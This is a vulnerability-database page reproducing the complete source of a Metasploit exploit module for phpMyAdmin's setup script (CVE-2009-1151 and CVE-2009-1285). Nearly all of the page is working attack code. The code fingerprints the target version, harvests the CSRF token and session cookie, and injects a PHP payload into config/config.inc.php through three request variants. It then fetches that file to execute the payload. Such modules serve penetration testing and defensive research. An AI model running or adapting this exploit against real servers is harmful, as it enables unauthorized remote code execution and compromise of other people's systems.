phpMyAdmin Config File Code Injection
🗓️ 24 Mar 2009 00:00:00Reported by Greg Ose, pagvac, egypt <[email protected]>, Tenable, g0tmi1kType
metasploit🔗 www.rapid7.com👁 74 Views
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'phpMyAdmin Config File Code Injection',
'Description' => %q{
This module exploits a vulnerability in phpMyAdmin's setup
feature which allows an attacker to inject arbitrary PHP
code into a configuration file. The original advisory says
the vulnerability is present in phpMyAdmin versions
2.11.x <= 2.11.9.4 and 3.x <= 3.1.3.
There was a follow up vulnerability as the patch was
incomplete, affecting versions 3.x <= 3.1.3.1.
The file where our payload is written
(phpMyAdmin/config/config.inc.php) is not directly used by
the system, so it may be a good idea to either delete it or
copy the running config (phpMyAdmin/config.inc.php) over it
after successful exploitation.
},
'Author' => [
'Greg Ose', # Discovery (CVE-2009-1151, v2.11.x <= v3.0.x)
'pagvac', # milw0rm PoC (CVE-2009-1151)
'egypt', # metasploit
'Tenable', # Discovery (CVE-2009-1285, v3.1.x <= v3.1.3.1)
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2009-1151' ],
[ 'OSVDB', '53076' ],
[ 'EDB', '8921' ],
[ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2009-3/' ],
[ 'URL', 'https://web.archive.org/web/20130724101149/http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/' ],
[ 'CVE', '2009-1285' ],
[ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2009-4/' ],
[ 'URL', 'https://www.tenable.com/security/research/tra-2009-02' ]
],
'Privileged' => false,
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Payload' => {
'Space' => 4000, # unlimited really since our shellcode gets written to a file
'DisableNops' => true,
# No filtering whatsoever, so no badchars
'Compat' =>
{
'ConnectionType' => 'find'
},
'Keys' => [ 'php' ]
},
'Targets' => [
[ 'Automatic (phpMyAdmin 2.11.x <= 2.11.9.4 and 3.x <= 3.1.3.1)', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2009-03-24',
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES]
}
)
)
register_options(
[
OptString.new('URI', [ true, 'Base phpMyAdmin directory path', '/phpMyAdmin/' ]),
# /scripts/setup.php - <= 2.11.9.4/3.0.x
# /setup/ - >= 3.1.x
OptString.new('SETUP_PATH', [ false, 'phpMyAdmin setup directory path (Blank to automatically detect)' ])
]
)
end
def request_setup(uri)
uri = normalize_uri(datastore['URI'], uri)
vprint_status "Trying: #{uri}"
response = send_request_raw({ 'uri' => uri })
if response.nil?
vprint_error 'Error with setup request (No response)'
elsif response.code != 200
vprint_warning "Error with setup request (HTTP #{response.code}, should be 200)"
else
vprint_good "Found: #{uri}"
title = response&.get_html_document&.at_xpath('//title')&.text
if /phpMyAdmin (?<version_str>.+?) setup/i =~ title
version = Rex::Version.new(version_str)
vprint_status "Found version: #{version}"
report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: 'phpMyAdmin',
info: "phpMyAdmin #{version}",
parents: {
name: ssl ? 'https' : 'http',
host: rhost,
port: rport,
proto: 'tcp',
parents: {
name: 'tcp',
host: rhost,
port: rport,
proto: 'tcp',
parents: nil
}
}
)
end
end
return response, version
end
def find_setup_path(mode: :exploit)
if datastore['SETUP_PATH'].nil?
vprint_status 'Attempting to automatically detect phpMyAdmin setup directory path'
response, version = request_setup('/scripts/setup.php') # phpMyAdmin <= 2.11.9.4/3.0.x
if mode == :exploit
response, version = request_setup('/setup/index.php?page=config') unless response&.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #1, textconfig)
response, version = request_setup('/setup/') unless response&.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #2, server name comments)
else
response, version = request_setup('/setup/') unless response&.code == 200 # This will report if folder is writable
response, version = request_setup('/setup/index.php?page=config') unless response&.code == 200 # This will not
end
else
response, version = request_setup(datastore['SETUP_PATH'])
end
print_error 'Unable to find valid phpMyAdmin setup directory path' unless response&.code == 200
return response, version
end
def check
response, version = find_setup_path(mode: :check)
return Exploit::CheckCode::Safe(version ? "Version #{version} is not vulnerable" : 'Could not find phpMyAdmin setup page') unless response&.code == 200
if (response.body !~ /"token"\s*value="([^"]+)"/)
return Exploit::CheckCode::Safe("Couldn't find token and can't continue without it. Is URI set correctly?")
elsif (response.body =~ /Cannot load or save configuration/)
return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable!)")
elsif (response.body =~ /Please create web server writable folder/) # Full message: Please create web server writable folder config in phpMyAdmin top level directory as described in documentation. Otherwise you will be only able to download or display it.
return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable! - Error: 2)")
end
if version
vulnerable =
version.between?(Rex::Version.new('2.11.0'), Rex::Version.new('2.11.9.4')) ||
version.between?(Rex::Version.new('3.0.0'), Rex::Version.new('3.1.3.1'))
if vulnerable
return Exploit::CheckCode::Appears("Target version is in range! (#{version})")
else
print_status "Target version is not in range (#{version})"
end
else
print_error 'Could not determine version'
return Exploit::CheckCode::Unknown("Could not determine version")
end
end
def php_serialize(obj)
case obj
when String
"s:#{obj.bytesize}:\"#{obj}\";"
when Integer
"i:#{obj};"
when TrueClass
'b:1;'
when FalseClass
'b:0;'
when Array
body = obj.each_with_index.map { |v, i| php_serialize(i) + php_serialize(v) }.join
"a:#{obj.length}:{#{body}}"
when Hash
body = obj.map { |k, v| php_serialize(k) + php_serialize(v) }.join
"a:#{obj.length}:{#{body}}"
end
end
def valid_request(response, expected_http_code = 200)
fail_with(Failure::Unknown, 'Error with exploit request (No response)') unless response
return if [expected_http_code, 200].include?(response.code)
fail_with(Failure::Unknown, "Error with exploit request (HTTP #{response.code}, expected #{expected_http_code})")
end
def exploit
response, = find_setup_path(mode: :exploit)
fail_with(Failure::NotFound, 'Failed - Server may not be vulnerable') unless response&.code == 200
uri = response.request[/^GET\s+(\S+)/, 1]
# Find the CSRF token and session cookie
fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") if (response.body !~ /"token"\s*value="([^"]+)"/)
token = ::Regexp.last_match(1)
cookie = response.get_cookies
case uri
# CVE-2009-1151
when %r{/scripts/setup\.php}
vprint_status 'Constructing exploit (save request) for: <= 2.11.9.4/3.0.x'
injected = "host']='';#{payload.encoded};//"
# There is probably a great deal of randomization that can be done with this PHP serialized array
config_hash = {
'Servers' => [
{
injected => '',
rand_text_alpha(9) => 'extension',
'connect_type' => 'tcp',
'compress' => false,
'auth_type' => 'config',
'user' => rand_text_alpha(4)
}
]
}
config = php_serialize(config_hash)
# Now that we've got the cookie and token, send the evil
print_status "Sending exploit (save request): #{uri}"
response = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'vars_post' => {
'token' => token,
'action' => 'save',
'configuration' => config,
'eoltype' => 'unix'
}
}, 3)
valid_request(response)
# CVE-2009-1285 #1
when %r{/setup/index\.php\?page=config\z}
uri = uri.sub(%r{/setup/index\.php\?page=config\z}, '/setup/config.php?type=post')
print_status "Sending exploit >= 3.1.x (textconfig): #{uri}"
response = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'vars_post' => {
'token' => token,
'eol' => 'unix',
'textconfig' => "<?php #{payload.encoded} ?>",
'submit_save' => 'Save'
}
}, 3)
valid_request(response, 303)
# CVE-2009-1285 #2
when %r{/setup(?:/(?:config|index)\.php)?/?\z}
phpmyadmin_cookie = cookie[/phpMyAdmin=([^;]+)/, 1]
fail_with(Failure::NotFound, 'phpMyAdmin cookie not found') unless phpmyadmin_cookie
print_status "Sending exploit >= 3.1.x (new server): #{uri}"
response = send_request_cgi(
{
'method' => 'POST',
'uri' => uri,
'vars_get' => {
'phpMyAdmin' => phpmyadmin_cookie,
'check_page_refresh' => '1',
'token' => token,
'page' => 'servers',
'mode' => 'add',
'submit' => 'New server'
},
'cookie' => cookie,
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'check_page_refresh' => '1',
'token' => token,
'Servers-0-verbose' => "*/#{payload.encoded}/*",
'Servers-0-host' => 'localhost',
'Servers-0-port' => '',
'Servers-0-socket' => '',
'Servers-0-connect_type' => 'tcp',
'Servers-0-extension' => 'mysqli',
'Servers-0-auth_type' => 'cookie',
'Servers-0-user' => 'root',
'Servers-0-password' => '',
'Servers-0-auth_swekey_config' => '',
'submit_save' => 'Save',
'Servers-0-SignonSession' => '',
'Servers-0-SignonURL' => '',
'Servers-0-LogoutURL' => '',
'Servers-0-only_db' => '',
'Servers-0-hide_db' => '',
'Servers-0-AllowRoot' => 'on',
'Servers-0-DisableIS' => 'on',
'Servers-0-AllowDeny-order' => '',
'Servers-0-AllowDeny-rules' => '',
'Servers-0-ShowDatabasesCommand' => 'SHOW DATABASES',
'Servers-0-CountTables' => 'on',
'Servers-0-pmadb' => '',
'Servers-0-controluser' => '',
'Servers-0-controlpass' => '',
'Servers-0-verbose_check' => 'on',
'Servers-0-bookmarktable' => '',
'Servers-0-relation' => '',
'Servers-0-table_info' => '',
'Servers-0-table_coords' => '',
'Servers-0-pdf_pages' => '',
'Servers-0-column_info' => '',
'Servers-0-history' => '',
'Servers-0-designer_coords' => ''
}
}, 3
)
valid_request(response, 303)
uri = uri.sub(%r{/setup(?:/(?:config|index)\.php)?/?\z}, '/setup/config.php')
print_status "Sending exploit >= 3.1.x (save config): #{uri}"
response = send_request_cgi(
{
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'token' => token,
'submit_save' => 'Save'
}
}, 3
)
valid_request(response, 303)
else
fail_with(Failure::Unknown, "...unsure how to exploit the target based on the URI: #{uri}")
end
# Very short timeout because the request may never return if we're sending a socket payload
timeout = 0.1
uri = normalize_uri(datastore['URI'], '/config/config.inc.php')
print_status "Requesting our payload: #{uri}"
response = send_request_raw({
'global' => true, # Allow findsock payloads to work
'uri' => uri
}, timeout)
# Due to short timeout, may take longer to get a response/shell/session, so not a big deal if this fails
if response.nil?
vprint_warning 'The request received no response in the allotted time, and is expected, even if the exploit succeeds.'
elsif response.code != 200
vprint_error "Error with payload request (HTTP #{response.code}, should be 200)"
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
24 Mar 2009 00:00Current
0.1Low risk
Vulners AI Score0.1
CVSS 27.5
CVSS 3.19.8
EPSS0.96565
SSVC